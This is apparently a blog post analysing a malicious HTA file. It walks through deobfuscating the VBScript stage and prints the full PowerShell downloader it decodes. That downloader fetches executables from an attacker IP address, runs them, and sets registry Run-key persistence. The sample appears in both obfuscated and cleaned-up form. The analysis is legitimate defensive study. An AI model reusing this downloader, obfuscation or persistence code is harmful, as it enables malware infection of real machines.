WELCOME TO

June 24th, 2023
Cracking open a simple multistage malware downloader
Malware Analysis
malware, malware analysis, vbs, hta, powershell

Deobfuscating a VBS to Powershell HTA Trojan Downloader

The sample I'm looking at today is an HTA - a format that uses HTML, JScript and/or VBScript to make a desktop application. You can think of it almost like a precursor to Electron. Using the standard html <script> tag, not only can scripts interact with the browser, but they can also interact directly with the windows system as well. This makes .hta files a great first stage trojan downloader, as with the right obfuscation they would not alert an antivirus and can be easily disguised as a document in an email attachment such as an invoice or receipt.

This specific sample is f88643594cdc88c4527ed8776afad60ac295b75017da275ac9b56ca67b5c8ea3.hta, an .hta that uses VBScript. The file is heavily obfuscated, with 800 lines of code. However, removing all the functions that are never called reduces the lines to a mere 100.


The first function is pretty straightforward, taking in a string and returning one removing the special characters @, * and #:

Function gwhkcimyb(dezoxkrykkuk)
    dezoxkrykkuk = Replace(dezoxkrykkuk, "@", "")
    dezoxkrykkuk = Replace(dezoxkrykkuk, "*", "")
    dezoxkrykkuk = Replace(dezoxkrykkuk, "#", "")
    gwhkcimyb = dezoxkrykkuk
End Function

Renaming the variables makes it even more clear:

Function RemoveSpecialChars(inputString)
    inputString = Replace(inputString, "@", "")
    inputString = Replace(inputString, "*", "")
    inputString = Replace(inputString, "#", "")
    RemoveSpecialChars = inputString
End Function

The next function in the file takes in a string xxjhkxmp and an integer evwbczkzuvfj, and XORs each character in the string by the Len() of the integer. Interestingly, in VBScript the Len() function when used on a non-string data type returns the number of bytes, so the characters are actually getting XOR'd by the number of bytes evwbczkzuvfj takes, not its actual value. Weird. The function then stitches the XOR'd string back together and returns it, decoding it.

Function bhjqfyhc(xxjhkxmp, evwbczkzuvfj)
    On Error Resume Next 
    Dim bzbeci
    Dim cozskebrfd
    Dim irnwtywmxulw 
    For bzbeci = 1 To Len(xxjhkxmp)
        cozskebrfd = Mid(xxjhkxmp, bzbeci, 1)
        irnwtywmxulw = Asc(cozskebrfd)
        irnwtywmxulw = irnwtywmxulw Xor Len(evwbczkzuvfj)
        irnwtywmxulw = Chr(irnwtywmxulw)
        bhjqfyhc = bhjqfyhc & irnwtywmxulw
    Next
End Function

Renaming the variables, the function now looks like this:

Function DecodeString(stringToDecode, decodeKey)
    On Error Resume Next            
    Dim i
    Dim character
    Dim decodedChar

    For i = 1 To Len(stringToDecode)
        character = Mid(stringToDecode, i, 1)
        decodedChar = Asc(character)
        decodedChar = decodedChar Xor Len(decodeKey)
        decodedChar = Chr(decodedChar)
        DecodeString = DecodeString & decodedChar
    Next
End Function

The function after that is really simple, just taking in an object and returning the Len() of it:

Function yioaiktnz(qnzzdicvqtv)
    yioaiktnz = Len(qnzzdicvqtv)
End Function

Custom Base64?

The next function is actually a custom-written Base64 decoder! I've done my best to rename the variables, but I am not entirely familiar with the base64 encoding process.

Function FromBase64(encodedString, charset)
    Dim encodedStringLength
    Dim decodedString
    Dim i

    encodedStringLength = GetLength(encodedString)

    For i = 1 To encodedStringLength Step 4
        Dim count
        Dim j
        Dim char
        Dim charPosition
        Dim decoded
        Dim decodedChunk

        eqCount = 3
        decoded = 0

        For j = 0 To 3
            char = Mid(encodedString, i + j, 1)

            If char = "=" Then
                eqCount = eqCount - 1
                charPosition = 0
            Else
                charPosition = InStr(1, charset, char, vbBinaryCompare) - 1
            End If

            decoded = 64 * decoded + charPosition
        Next

        decoded = Hex(decoded)
        decoded = String(6 - Len(decoded), "0") & decoded

        decodedChunk = Chr(CByte("&H" & Mid(decoded, 1, 2))) + _
            Chr(CByte("&H" & Mid(decoded, 3, 2))) + _
            Chr(CByte("&H" & Mid(decoded, 5, 2)))

        decodedString = decodedString & Left(decodedChunk, count)
        Next

    FromBase64 = decodedString
End Function

Now of course to need a base64 decoder, we're gonna need a base64 encoded string to decode, and that is exactly what we find in this next function. This seems to be the main function as it is the one that calls all of the others. It defines the decodeKey used in DecodeString(), the charset and encoded string for FromBase64(). Finally, it pipes the decoded base64 string into the Run() method of WScript.Shell, which just executes whatever is passed into it.

Function DecodeAndRun()
    Dim charset
    Dim decodeKey
    Dim encodedString
    Dim decodedString
    Dim WShell

    decodeKey = 1 * 3 - 1
    charset = "@CBEDGFIHKJMLONQPSRUTWVYX[`cbedgfihkjmlonqpsrutwvyx{1032547698*."
    charset = DecodeString(charset, decodeKey)
    encodedString = "c#G93ZX*JzaGVs#bC5@leGU@gLU*V4ZW...[removed for brevity]"
    encodedString = RemoveSpecialChars(encodedString)
    decodedString = Base64(encodedString, charset)
    Set WShell = CreateObject("Wscript.Shell")
    WShell.Run(decodedString),0,true
End Function

The final line in the script just calls DecodeAndRun(), setting the whole thing into motion.

So what exactly is executed from the decoded Base64 string? Well, you could reimplement the function in another language, or mess around with decoding the string with CyberChef, but the best solution is usually the simplest one: replacing the WShell.Run() call with WScript.Echo()

After installing Wine and fiddling with Winetricks to get the Windows Script Host installed, I was able to execute it with $ wine cscriptt sample.vbs (after copying the script out of the HTA container). The output was this big mess of a PowerShell command:

powershell.exe -ExecutionPolicy UnRestricted -Window 1 [void] $null;
$wdxubevfic = Get-Random -Min 3 -Max 4;
$qidanupkvwj = ([char[]]([char]97..[char]122));
$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});
$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;
$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;
$sypim=[char]0x53+[char]0x61+[char]0x4c;
$xzrhm=[char]0x49+[char]0x45+[char]0x58;
$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;
sAL ontghwqf $sypim;
$kjavpydntew = [char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;
ontghwqf fcwmus $xzrhm;
$andcvkhb = [char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43 | fcwmus;
ontghwqf gepnskxihqbmfo $edxlnf;
$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;
$nabltr = $jfwlpghdovb + '.jpg';
$lrtmu = 'aHR0cDovLzE4NS4yNDIuMTA0Ljc4L3dmdHAvcGFnZS0wMDEuanBn';
$lrtmu = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($lrtmu));
$qnjzpsbuxrh = $env:PUBLIC + [char]0x5c + $nabltr;
$kjavpydntew = [char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;
$hmclirdvqpu = New-Object $kjavpydntew;

try {
    $dlfmhpo = $hmclirdvqpu.DownloadData($lrtmu)
} catch {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    $dlfmhpo = $hmclirdvqpu.DownloadData($lrtmu)
};

[IO.File]::WriteAllBytes($qnjzpsbuxrh, $dlfmhpo);
gepnskxihqbmfo $qnjzpsbuxrh;
$judsnpm = [char]0x48+[char]0x4b+[char]0x63+[char]0x55+[char]0x3a+[char]0x5c+[char]0x73+[char]0x6f+[char]0x46+[char]0x74+[char]0x57+[char]0x61+[char]0x72+[char]0x45+[char]0x5c+[char]0x6d+[char]0x69+[char]0x63+[char]0x52+[char]0x6f+[char]0x73+[char]0x6f+[char]0x66+[char]0x54+[char]0x5c+[char]0x57+[char]0x69+[char]0x4e+[char]0x64+[char]0x4f+[char]0x77+[char]0x53+[char]0x5c+[char]0x43+[char]0x75+[char]0x52+[char]0x72+[char]0x65+[char]0x4e+[char]0x54+[char]0x76+[char]0x65+[char]0x52+[char]0x73+[char]0x49+[char]0x4f+[char]0x6e+[char]0x5c+[char]0x72+[char]0x75+[char]0x4e;
New-ItemProperty -Path $judsnpm -Name $jfwlpghdovb -Value $bykmo -Force;
$zvngemsbua = 'aHR0cDovLzE4NS4yNDIuMTA0Ljc4L3dmdHAvRE9DLTAwMkguZXhl';
$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));
$mzyjvgc = New-Object $kjavpydntew;
$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);
[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);
gepnskxihqbmfo $bykmo;
$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);
foreach($tgmqlbc in $pnsva){$null = $_}""

Converting the [char]s to text and renaming the variables makes the script more clear:

powershell.exe -ExecutionPolicy UnRestricted -Window 1 [void] $null;

$randomLength = Get-Random -Min 3 -Max 4;
$charset = [char[]] 'abcdefghijklmnopqrstuvwxyz';
$randomString = -join ($charset | Get-Random -Count $randomLength | ForEach-Object {[Char]$_});
$randomExeName = $randomString + ".exe";
$publicUserPath = "$env:PUBLIC" | Invoke-Expression;
$fullExePath = $publicUserPath + '\' + $randomExeName;
$randomJPGName = $randomString + '.jpg';

$JPGUrl = "hxxp://185.242.104.78/wftp/page-001.jpg";
$fullJPGPath = $env:PUBLIC + '\' + $randomJPGName;
$webClient = New-Object Net.WebClient;
try {
    $data = $webClient.DownloadData($JPGUrl)
} catch {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    $data = $webClient.DownloadData($JPGUrl)
};
[IO.File]::WriteAllBytes($fullJPGPath, $data);
Start-Process $fullJPGPath;

$startup = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run";
New-ItemProperty -Path $startup -Name $randomString -Value $fullExePath -Force;

$EXEUrl = "hxxp://185.242.104.78/wftp/DOC-002H.exe";
$webClient = New-Object Net.WebClient;
$data = $webClient.DownloadData($EXEUrl);
[IO.File]::WriteAllBytes($fullExePath, $data);
Start-Process $fullExePath;

The URLs have been censored to prevent any accidental linking, however at the time of writing they were all inactive.

The script downloads an .exe and a ".jpg". However, the .jpg later gets executed with Start-Process which means it is likely just a regular executable with its extension renamed to .jpg

The script saves both of the executables to the Public user's home directory, C:\Users\Public with a randomized name between 3 and 4 characters.

Once downloaded and saved, the script executes the ".jpg" and sets the .exe to autostart by adding itself to HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run in the windows registry, providing persistance.

Finally, the .exe is ran with Start-Process and the script ends.

Unfortunately for us, by the time I had gotten my hands on this sample the links to both of the executables are no longer online, so I won't be able to dig into this specific sample any further. However, it was still very interesting to see just how these malware downloaders obfuscate themselves to evade detection, and the methods used.